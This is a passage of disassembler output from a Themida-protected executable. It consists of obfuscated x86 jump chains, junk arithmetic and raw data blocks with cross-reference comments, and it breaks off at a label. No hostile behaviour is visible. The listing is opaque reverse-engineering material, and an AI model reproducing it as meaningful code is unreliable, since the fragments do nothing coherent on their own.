		dd offset dword_4D6954+14h
		dd 44ADE900h, 0BB530000h, 739554D1h, 3BE7CB81h,	0EB810797h
		dd 767021A0h, 1C8BDF01h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5554DA
; ---------------------------------------------------------------------------

loc_54FD35:				; CODE XREF: Themida_:0054E8D9j
		mov	ecx, eax
		mov	edx, ecx
		pop	ecx
		pop	eax
		jmp	loc_550F10
; ---------------------------------------------------------------------------
		dd 2474FF50h, 48F5804h,	24248B24h, 8B241C89h, 0C4832404h
		dd 4294E904h, 0D4BD0000h, 31315F16h, 174CE9DDh,	24890000h
		dd 24048324h, 24048F04h, 4F88E955h
		db 2 dup(0FFh)
word_54FD76	dw 28Fh			; DATA XREF: Themida_:005418E0o
		dd 0FF1DA2E9h, 1EBE56FFh, 8109F47Dh, 196D4CF6h,	0B7EE8158h
		dd 810ECC08h, 4ECh, 8C8AE900h
		db 2 dup(0FFh)
word_54FD9A	dw 8951h		; DATA XREF: Themida_:00541A60o
		dd 4C181E1h, 50000000h,	227607B8h, 5786E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FDAE:				; CODE XREF: Themida_:00547FD6j
		not	ecx
		sub	ecx, 0E7A43AAAh
		and	edi, ecx
		pop	ecx
		dec	edi
		add	edi, 54D05624h
		jmp	loc_5510C8
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0DEh
		dd 50D6F766h, 9A8B866h,	0FF2188E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FDD5:				; CODE XREF: Themida_:0054344Dj
		pop	ecx
		jmp	loc_54639C
; ---------------------------------------------------------------------------

loc_54FDDB:				; CODE XREF: Themida_:005484E5j
		pop	esp
		mov	ecx, 324F17BEh
		add	ecx, 9C76B9Eh
		sub	ecx, eax
		jmp	loc_54C615
; ---------------------------------------------------------------------------
		dw 3888h
		dd 68241C8Bh, 1707h, 89243C89h,	4C781E7h, 56000000h, 1CF7B951h
		dd 0DBE1538h, 1EAC7E3h,	0C08DE9CEh, 148BFFFFh, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 0E924248Bh, 117Bh, 4C181h
		dd 0BD550000h, 4, 0FFEFB3E9h, 242C8BFFh, 5D8AE957h, 348B0000h
		dd 4C48124h, 0C1000000h, 0C68103EEh, 0F2F7D974h, 92E9F201h
		dd 0FFFFFFF6h, 0E95A2434h, 0FFFF86A3h
; ---------------------------------------------------------------------------

loc_54FE6C:				; CODE XREF: Themida_:00551C86j
		xchg	ebp, [esp]
		pop	esp
		sub	ebx, eax
		push	ebp
		mov	ebp, 56F653A2h
		push	esi
		push	edx
		push	eax
		mov	eax, 0FFFFFFFFh
		mov	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	esi, edx
		pop	edx
		sub	ebp, esi
		pop	esi
		not	ebp
		and	ebp, 1A7F12D6h
		sub	ebp, 0E1ADC66Fh
		sub	ebx, ebp
		pop	ebp
		movzx	ax, byte ptr [eax]
		push	eax
		jmp	loc_556A80
; ---------------------------------------------------------------------------
		db 1, 0C7h, 81h
		dd 9A7388C7h, 33E95876h, 59FFFFD7h, 0E904C483h,	0FFFF5BC0h
; ---------------------------------------------------------------------------

loc_54FEC4:				; CODE XREF: Themida_:0054F839j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_551B5C
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4C681h, 34870000h, 24248B24h, 6AF4E9h, 4C48100h
		dd 87000000h, 0E95C2434h, 0FFFF2EDAh
; ---------------------------------------------------------------------------

loc_54FEFC:				; CODE XREF: Themida_:0055082Cj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_545D4D
; ---------------------------------------------------------------------------

loc_54FF0E:				; CODE XREF: Themida_:00546F2Fj
		mov	ch, 8Ch
		sub	dh, ch
		jmp	loc_54C2BA
; ---------------------------------------------------------------------------

loc_54FF17:				; CODE XREF: Themida_:0054812Fj
		push	dword ptr [esp]
		jmp	loc_549CC7
; ---------------------------------------------------------------------------

loc_54FF1F:				; CODE XREF: Themida_:0054BB2Dj
		pop	dword ptr [esp]
		jmp	loc_552135
; ---------------------------------------------------------------------------
		db 2Dh
		dd 1F1B338Eh, 4C0835Bh,	52ED68h, 0D03CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FF3A:				; CODE XREF: Themida_:0054EEE0j
		inc	ecx
		inc	ecx
		inc	ecx
		sub	ecx, 5FED7C06h
		jmp	loc_553C70
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Eh,	8BF575Ch, 0E905EE14h, 0FFFF4EC4h
		dd 0E9504159h, 63EDh, 0C159CF21h, 0EF8106E7h, 0B200227Ch
		dd 3C8BFA29h, 4C48324h,	2474FF52h, 48F5A04h, 24248B24h
		dd 57243489h, 0E2E9E789h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FF8F:				; CODE XREF: Themida_:00549E5Aj
		mov	eax, [esp]
		jmp	loc_54CB2E
; ---------------------------------------------------------------------------

loc_54FF97:				; CODE XREF: Themida_:00544C83j
		add	ebp, 1
		jmp	loc_55677C
; ---------------------------------------------------------------------------
aNshga		db '­ShGa',0            ; DATA XREF: Themida_:00541ABCo
		dd 243C8900h, 688DBE56h, 0DEF7745Ch, 0FFEB3AE9h, 0C6815EFFh
		dd 4, 2F7B68h, 241C8900h, 4BBh,	56525500h, 60625568h, 0D6F75E40h
		dd 0FFE186E9h, 2434FFFFh, 4C4835Bh, 525E5456h, 4BAh, 5AD60100h
		dd 1687E9h, 0E8016600h,	8B665D66h, 88E9243Ch
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550003:				; CODE XREF: Themida_:0054FB0Fj
		add	edi, 0EA43001Fh
		sub	ebp, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5448F1
; ---------------------------------------------------------------------------

loc_550014:				; CODE XREF: Themida_:0054D774j
		neg	edi
		shr	edi, 3
		add	edi, 0EB5EE209h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 7A575D24h
		and	eax, 2B73E0Fh
		shl	eax, 8
		dec	eax
		inc	eax
		sub	eax, 171C03FCh
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		jmp	loc_543E09
; ---------------------------------------------------------------------------
		db 55h,	56h, 50h
		dd 0CA547F68h, 0A232E974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55006A:				; CODE XREF: Themida_:0054C159j
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_544F17
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 68B4E581h, 0ED811B0Dh, 9B2C032Bh, 0FF91A4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55008D:				; CODE XREF: Themida_:00544121j
		mov	[esp], eax
		jmp	loc_5469EF
; ---------------------------------------------------------------------------

loc_550095:				; CODE XREF: Themida_:00548346j
		pop	esi
		sub	ebx, 56557869h
		jmp	loc_553FD9
; ---------------------------------------------------------------------------

loc_5500A1:				; CODE XREF: Themida_:0054338Aj
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_55014F
; ---------------------------------------------------------------------------
		dd 8B243487h, 0BE562424h, 4B8C3BD8h, 0E908EEC1h, 0FFFFE167h
; ---------------------------------------------------------------------------

loc_5500D0:				; CODE XREF: Themida_:005509B6j
		add	al, 81h
		sub	al, bl
		sub	al, 81h
		pop	ebx
		pop	ebx
		push	ebp
		jmp	loc_554AA4
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 8704C183h, 535C240Ch, 0FF2741E9h,	242C89FFh, 0BE565D5Fh
		dd 581F2CB5h, 0F705EEC1h, 5029E9DEh, 0CD81FFFFh, 6BDE0EE0h
		dd 8904EC83h, 0B951241Ch, 5AA37775h, 81D1F749h,	560D0EE9h
		dd 81D1F70Ch, 127F86C1h, 59CB8968h, 3A03ED81h, 15E93B13h
		dd 0B8FFFFABh, 70EA5F4Ah, 68h, 24042900h, 0FF363FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550149:				; CODE XREF: Themida_:005537E8j
		push	ebp
		jmp	loc_551ABD
; ---------------------------------------------------------------------------

loc_55014F:				; CODE XREF: Themida_:005500B7j
		mov	[esp], ecx
		mov	ecx, 46DA36A9h
		or	ecx, 4D99146Dh
		push	eax
		jmp	loc_55495B
; ---------------------------------------------------------------------------
		db 59h
		dd 62C4E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55016A:				; CODE XREF: Themida_:0054CA4Aj
		mov	ecx, 78AD43C9h
		sub	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	18A0h
		mov	[esp], ebp
		push	esp
		jmp	loc_55254F
; ---------------------------------------------------------------------------

loc_550186:				; CODE XREF: Themida_:00550B14j
		pop	ecx
		sub	cl, 0FFh
		jmp	loc_545902
; ---------------------------------------------------------------------------
		db 55h
		dd 0D74AE7BDh, 0D1ED8165h, 0F767EA09h, 0BE5645D5h, 433F0C7Bh
		dd 6560F681h, 814E7E79h, 903A06CEh, 0D0C6816Eh,	31823C43h
		dd 0E8895EF5h, 481505Dh, 29603224h, 0EA815A0Dh,	0D296032h
		dd 0FFD10158h, 815A2434h, 4C4h,	240C3300h, 0E9240C31h
		dd 0FFFFC424h, 0FF1936E9h, 505A54FFh, 1C80B951h, 61E940EFh
		dd 5FFFFFD5h, 3917E9h, 0E9F02900h, 0FFFF9F5Ch
; ---------------------------------------------------------------------------

loc_550204:				; CODE XREF: Themida_:00544A19j
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	6A48h
		mov	[esp], edx
		jmp	loc_544086
; ---------------------------------------------------------------------------

loc_55021C:				; CODE XREF: Themida_:0055536Dj
		add	eax, edx
		xor	[eax], esi
		pop	eax
		pop	edx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4

loc_550229:				; CODE XREF: Themida_:loc_549CF1j
					; Themida_:00551CA9j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_546EEB
; ---------------------------------------------------------------------------
aRithH		db 'R‰âhÆH',0
		align 4
		dd 56240489h, 0B8684B68h, 24348B69h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5473A3
; ---------------------------------------------------------------------------
dword_55025C	dd 24248B66h, 0FF18BAE9h ; DATA	XREF: Themida_:00541AB4o
		db 0FFh
; ---------------------------------------------------------------------------

loc_550265:				; CODE XREF: Themida_:005530D3j
		xor	edx, ecx
		pop	ecx
		add	eax, edx
		pop	edx
		add	edx, eax
		jmp	loc_555008
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835824h, 4C48304h, 0FFB4FDE9h, 0E9F889FFh, 0FFFFAAF0h
; ---------------------------------------------------------------------------

loc_550288:				; CODE XREF: Themida_:0055267Cj
		inc	eax
		shl	eax, 2
		xor	eax, 7C19336Dh
		add	ecx, 3A5C1C90h
		sub	ecx, 0DB90870h
		push	ebp
		jmp	loc_548FFC
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFE6F0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5502A9:				; CODE XREF: Themida_:0054CF56j
		div	cx
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55625A
; ---------------------------------------------------------------------------

loc_5502C4:				; CODE XREF: Themida_:00552C0Aj
		inc	ch
		push	edx
		jmp	loc_5432FF
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 242C3300h, 33242C31h, 48E9242Ch
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5502E3:				; CODE XREF: Themida_:00546CE7j
		add	esi, 3E401833h
		add	esi, 0FFFFFFFFh
		add	esi, 145E26B5h
		push	ebp
		mov	ebp, 4CDF46F7h
		jmp	loc_5446B9
; ---------------------------------------------------------------------------
aBRHC		db 'Ï*rØ',0Dh,'hÉC',0
		align 4
		dd 0E9241489h, 1520h, 0E9D52966h, 0FFFF73B1h
; ---------------------------------------------------------------------------

loc_550318:				; CODE XREF: Themida_:0054A119j
		shr	edi, 5
		shr	edi, 4
		xor	edi, 136184h
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54BDAE
; ---------------------------------------------------------------------------

loc_55032F:				; CODE XREF: Themida_:00544F19j
		mov	ebp, 0CF3FEDB7h
		jmp	loc_5464BE
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 42474FFh, 24048F5Fh,	0E924248Bh, 0FFFF17D3h
dword_55034C	dd 240C8B66h, 5ECA68h, 242C8900h, 81E68956h, 4C6h, 4AB85000h
					; DATA XREF: Themida_:0054187Co
		dd 0C1463729h, 0E0C103E8h, 4E0C108h, 0FFA291E9h, 0A4EE81FFh
		dd 1F1EA08h, 0E3E95EF0h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550383:				; CODE XREF: Themida_:00543A45j
		mov	ebx, 31FE424Ah
		push	471Dh
		mov	[esp], eax
		mov	eax, 0
		sub	eax, ebx
		push	ebx
		push	eax
		pop	ebx
		pop	eax
		jmp	loc_546646
; ---------------------------------------------------------------------------

loc_5503A0:				; CODE XREF: Themida_:00542736j
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	4CF9h
		mov	[esp], edi
		mov	edi, 13B0292h
		shr	edi, 2
		add	edi, 0FFB13F5Eh
		mov	edx, edi
		jmp	loc_542F63
; ---------------------------------------------------------------------------

loc_5503C7:				; CODE XREF: Themida_:00548BEAj
		push	4328h
		mov	[esp], ecx
		push	31F7h
		jmp	loc_54616B
; ---------------------------------------------------------------------------
		db 59h,	81h, 0F1h
		dd 6B71B039h, 92E9C889h, 4FFFFEBh, 68D004C7h, 3868h, 52240C89h
		dd 0F188E8B6h, 2DF7E95Ah, 0E8010000h, 0EC81515Dh, 4, 0E9241C89h
		dd 0FFFF8AAFh, 3C192548h, 30547FDh, 0E9BBAFC8h,	0FFFFBC77h
		dd 8B240433h, 0C7812424h, 2, 301368h, 3AB8E900h, 3489FFFFh
		dd 2474FF24h, 48F5E04h,	24248B24h, 0F66F9F6h, 8BE9CCB6h
		dd 8B00003Eh, 0C481242Ch, 4, 5EDBBA52h,	0F7425DD0h, 8DC281DAh
		dd 811E6B7Fh, 9D1D38C2h, 0EBF2814Fh, 110383Dh, 34335AD6h
		dd 24343124h, 8B243433h, 0F7662424h, 66866F9h, 14896628h
		dd 9C506624h, 0FF168AE9h, 0E9EF01FFh, 0FFFF584Ah, 0E1895159h
		dd 4B850h, 0C1010000h, 4C18158h, 87000000h, 815C240Ch
		dd 621F84EAh, 432EE95Eh, 34FF0000h, 0C4815924h,	4, 0D90E9h
		db 0
; ---------------------------------------------------------------------------

loc_5504CD:				; CODE XREF: Themida_:005458C0j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54F270
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 6CEFE95Fh, 0C281FFFFh, 2C145A81h, 0EA81DA01h, 2C145A81h
		dd 0FFDBC3E9h, 0C4835BFFh, 24048704h, 240C895Ch, 102E9h
		db 0
; ---------------------------------------------------------------------------

loc_550505:				; CODE XREF: Themida_:00545248j
		mov	esi, 6DBD5E5Fh
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_542BFC
; ---------------------------------------------------------------------------

loc_550514:				; CODE XREF: Themida_:0054C132j
		pop	edx
		push	ebx
		xor	dword ptr [esp], 5E573DC5h
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5476B4
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0A6E8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55052E:				; CODE XREF: Themida_:00546ACEj
		sub	esi, edx
		pop	edx
		or	[edi+1Ch], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		db 52h
		dd 0E7895750h, 4C781h, 0EF810000h, 4, 5C243C87h, 0B2241489h
		dd 44B4CBh, 5BE95AD4h
		db 25h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55056F:				; CODE XREF: Themida_:00548AF6j
		sub	esi, edi
		jmp	loc_548222
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0E6E95124h, 0BBFFFFE0h, 2A1022F5h, 0BEE9FB31h, 0FFFFF33h
		dd 34FFC0B6h, 7D685687h, 0E944BE1Dh, 0FFFF8A6Ch
; ---------------------------------------------------------------------------

loc_55059C:				; CODE XREF: Themida_:0054B9C1j
		mov	eax, 4
		jmp	loc_555236
; ---------------------------------------------------------------------------
		dw 0C583h
		dd 242C8704h, 2C14E95Ch, 0E95B0000h, 0FFFF413Ch
; ---------------------------------------------------------------------------

loc_5505B8:				; CODE XREF: Themida_:005469EAj
		mov	eax, 39A63F69h
		inc	eax
		neg	eax
		inc	eax
		jmp	loc_544AD9
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 8704C183h, 835C240Ch, 3C8904ECh, 52E78924h, 4BAh
		dd 5AD70100h, 4EC81h, 34890000h, 4BE24h, 0F7290000h, 0E287E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5505FA:				; CODE XREF: Themida_:00541CF3j
		mov	edx, 4
		mov	edi, edx
		pop	edx
		jmp	loc_54BF1C
; ---------------------------------------------------------------------------
		db 56h
		dd 8D240CBEh, 10B1681Bh, 4890000h, 0E9F08924h, 0FFFF3378h
		dd 3972EE81h, 0C6296F2Eh, 3972C681h, 0E9966F2Eh, 29C1h
; ---------------------------------------------------------------------------

loc_550630:				; CODE XREF: Themida_:00542E10j
		mov	edx, 62CF2E78h
		jmp	loc_543A54
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 80F30065h, 8B6665C3h, 0C4812414h, 2,	93DE95Ah, 0C4830000h
		dd 0E1895104h, 4C181h, 0C1830000h, 240C8704h, 524248Bh
		dd 32CF6781h, 55E9F801h, 0C1000001h, 0F68106E6h, 7A60163Dh
		dd 348BF031h, 4C48124h,	35000000h, 24445C9Dh, 0E958C631h
		dd 0FFFF9AF4h, 63685251h, 0E9385204h, 0FFFFB913h
dword_5506A0	dd 6824148Bh, 33BEh, 0E9243C89h, 55Bh ;	DATA XREF: Themida_:00541A50o
; ---------------------------------------------------------------------------

loc_5506B0:				; CODE XREF: Themida_:00553FC6j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_544635
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 81000000h,	4C1h, 2568E900h, 0E9570000h, 0FFFF8BD6h
; ---------------------------------------------------------------------------

loc_5506D4:				; CODE XREF: Themida_:00549BD2j
		mov	esi, 59F954AFh
		jmp	loc_54F083
; ---------------------------------------------------------------------------

loc_5506DE:				; CODE XREF: Themida_:00555A6Bj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_544A71
; ---------------------------------------------------------------------------
aSr		db ',µé*',0
		align 10h

loc_5506F0:				; CODE XREF: Themida_:005514ADj
		add	bl, 0DBh
		push	ecx
		mov	cl, 0C9h
		or	cl, 32h
		sub	cl, 26h
		push	eax
		mov	al, 0E8h
		jmp	loc_547FC1
; ---------------------------------------------------------------------------
		dd 0E95BF828h, 5183h
; ---------------------------------------------------------------------------

loc_55070C:				; CODE XREF: Themida_:00547CC7j
		push	esp
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 7B65FA5h
		jmp	loc_552728
; ---------------------------------------------------------------------------

loc_550725:				; CODE XREF: Themida_:005472D8j
		pop	eax
		add	esp, 4
		jmp	loc_54350A
; ---------------------------------------------------------------------------

loc_550731:				; CODE XREF: Themida_:00544378j
		pop	ebp
		pop	ebx
		jmp	loc_556A8E
; ---------------------------------------------------------------------------

loc_550738:				; CODE XREF: Themida_:005454E0j
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_54D23D
; ---------------------------------------------------------------------------
byte_550749	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00541908o
		dd 0D359669Dh, 0E99C241Ch, 0FFFF2106h, 518F6866h, 240C8966h
		dd 0C8B60F66h, 0E99C5166h, 2BC4h, 0C3B25266h, 5A66D028h
		dd 0C04E0C0h, 0E9D0F601h, 207Ch
; ---------------------------------------------------------------------------

loc_550780:				; CODE XREF: Themida_:0054D15Aj
		pop	esp
		mov	[esp], eax
		jmp	loc_54E729
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		align 10h
		dd 2434FFF0h, 8324148Bh, 4C6804C4h, 0E9000021h,	0FFFF818Ch
; ---------------------------------------------------------------------------

loc_5507A4:				; CODE XREF: Themida_:00546A18j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	cl, ah
		jmp	loc_5443D9
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E789243Ch, 4C781h, 0E9530000h, 0FFFFE6E9h
		dd 0CF67812Dh, 32DA6832h, 0FBE90000h, 88000038h, 8BC788F0h
		dd 0C4812404h, 4, 0E9E9535Ah
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5507EB:				; CODE XREF: Themida_:00549E38j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 41884804h
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54FEFC
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
aWswc		db 'WéWc',0
		align 2

loc_55083A:				; CODE XREF: Themida_:00546C1Ej
		mov	ebp, 64AA4570h
		sub	ebp, 59B45896h
		add	ebp, 5D1E5672h
		sub	ebp, 5C937A97h
		sub	ebp, 0CAA1AD0Ah
		sub	eax, ebp
		pop	ebp
		pop	ebp
		push	esi
		push	eax
		push	5BB03699h
		pop	eax
		jmp	loc_54C3BB
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0CA8104C4h, 6BAA30D7h, 31E8E281h,	0F2811AA4h
		dd 6EB76A73h, 2A01E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550886:				; CODE XREF: Themida_:005545CBj
		push	3EEAh
		mov	[esp], ebp
		jmp	loc_547F33
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4812404h, 424h, 2434FF00h, 81240C8Bh, 4C4h, 4C48300h
		dd 4EC8357h, 52242C89h,	0FF9E6FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5508B9:				; CODE XREF: Themida_:005560E2j
		pop	edi
		push	edi
		jmp	loc_54480D
; ---------------------------------------------------------------------------

loc_5508C0:				; CODE XREF: Themida_:0054963Cj
		mov	esi, 0
		jmp	loc_55635B
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 0E9C2315Fh, 0FFFFAABAh, 4C581h, 0ED830000h, 242C3304h
		dd 33242C31h, 11E9242Ch
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5508EB:				; CODE XREF: Themida_:0054C17Cj
		push	edi
		mov	edi, 49962234h
		add	ebp, edi
		jmp	loc_555608
; ---------------------------------------------------------------------------
		dd 2C8BEA01h, 4C48324h,	7FFCEA81h, 0F4E95CEBh, 66FFFF13h
		dd 6620402Dh, 66713605h, 66117705h, 2D66F829h, 2D661177h
		dd 55667136h, 2040BD66h, 0FFF6C8E9h, 74ABEFFh, 815624AAh
		dd 2F912434h, 0FEE90D5Fh, 89FFFF31h, 5C68240Ch,	51000017h
		dd 0C181E189h, 4, 4E981h, 0FF510000h, 59042474h, 5C24048Fh
		dd 81242489h, 42404h, 48F0000h,	4BA5224h, 1000000h, 5A042454h
		dd 0FF8993E9h, 2434FFFFh, 8324148Bh, 835304C4h,	248904ECh
		dd 49C6E924h, 0C483FFFFh, 2B08E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55099A:				; CODE XREF: Themida_:00552DF5j
		push	0AD0h
		mov	[esp], ebx
		jmp	loc_54C53B
; ---------------------------------------------------------------------------

loc_5509A7:				; CODE XREF: Themida_:0054A0E5j
		add	al, bh
		sub	al, 2Dh
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 4Dh
		jmp	loc_5500D0
; ---------------------------------------------------------------------------
		db 81h
		dd 0D82220EEh, 24048B67h, 4D16E9h, 0E1C14100h, 8E1C102h
		dd 20B9E9h
		db 0
; ---------------------------------------------------------------------------

loc_5509D5:				; CODE XREF: Themida_:00553910j
		add	edx, 69F882D6h
		jmp	loc_5486DE
; ---------------------------------------------------------------------------

loc_5509E0:				; CODE XREF: Themida_:00548661j
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_54D3C6
; ---------------------------------------------------------------------------
aLH		db '‹$$hÑ(',0
		dd 9322E900h, 0EB01FFFFh, 6C15C381h, 0EB8128CAh, 3443097Eh
		dd 9E5FE95Dh, 0E7C1FFFFh, 6073E902h, 0C481FFFFh, 4, 30E9EE01h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550A1F:				; CODE XREF: Themida_:00551F8Fj
		add	dword ptr [esp+4], 42857B01h
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 42857B01h
		add	dword ptr [esp+4], 154D46A0h
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		jmp	loc_5478E4
; ---------------------------------------------------------------------------

loc_550A51:				; CODE XREF: Themida_:0055545Ej
		inc	esi
		push	ebx
		mov	ebx, 620D4127h
		push	63CBh
		mov	[esp], ebx
		jmp	loc_552B30
; ---------------------------------------------------------------------------

loc_550A65:				; CODE XREF: Themida_:00555700j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		xor	eax, esi
		mov	esi, [esp]
		jmp	loc_553F51
; ---------------------------------------------------------------------------

loc_550A7F:				; CODE XREF: Themida_:0054B521j
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	2B88h
		jmp	loc_54688D
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C181E189h, 4, 0FF1DC2E9h, 66F788FFh, 0AE06E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550AAA:				; CODE XREF: Themida_:005518EAj
		mov	ebx, 7033C86h
		jmp	loc_542A70
; ---------------------------------------------------------------------------

loc_550AB4:				; CODE XREF: Themida_:00542276j
		mov	eax, 4
		add	esi, 4E446DCAh
		add	esi, eax
		push	ebx
		push	eax
		mov	eax, 7EBE16FAh
		jmp	loc_54F4FC
; ---------------------------------------------------------------------------

loc_550ACD:				; CODE XREF: Themida_:00555EEDj
		mov	eax, 0A651047h
		dec	eax
		push	ebp
		mov	ebp, 47D5C1Dh
		sub	eax, ebp
		pop	ebp
		push	eax
		dec	dword ptr [esp]
		pop	eax
		jmp	loc_543121
; ---------------------------------------------------------------------------

loc_550AE6:				; CODE XREF: Themida_:0054A67Fj
		pop	ebx
		add	esi, 9452C25h
		add	esi, ebp
		sub	esi, 9452C25h
		jmp	loc_54BFC5
; ---------------------------------------------------------------------------

loc_550AFA:				; CODE XREF: Themida_:0054D3A4j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bh, 0A7h
		or	cl, bh
		pop	ebx
		push	107Fh
		mov	[esp], ecx
		not	byte ptr [esp]
		jmp	loc_550186
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 15h
		dd 0E9244854h, 0FFFFD4C2h, 50242C89h, 2A09B6B8h, 338CBD3Eh
		dd 0B951A5E7h, 4DB35AEh, 0E987D1F7h, 0E987D5F7h, 4264E181h
		dd 0F7E96869h, 81FFFFC2h, 0FFFFFFC7h, 1C783FFh,	1BCD68h
		dd 24348900h, 3BE39DBEh, 0FFF7312Ch, 7DE92434h,	5BFFFF18h
		dd 6E6DED81h, 7568653Ch, 0E9000021h, 0FFFFB543h
; ---------------------------------------------------------------------------

loc_550B7C:				; CODE XREF: Themida_:0054E1D6j
		pop	edi
		sub	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_548856
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 83000000h,	0FF5204C2h, 5A042474h, 5C24048Fh
		dd 6885F180h, 159Dh, 0B7241C89h, 0FFC7809Bh, 3B43E9h, 48B5E00h
		dd 4FACE924h, 0C3810000h, 0BC5A5072h, 815BDA89h, 2D249EF2h
		dd 0CBEF8172h, 1682337h, 0CBC781D7h, 5A682337h,	216768h
		dd 243C8900h, 42474FFh,	2590E9h
		db 0
; ---------------------------------------------------------------------------

loc_550BF9:				; CODE XREF: Themida_:00553DD0j
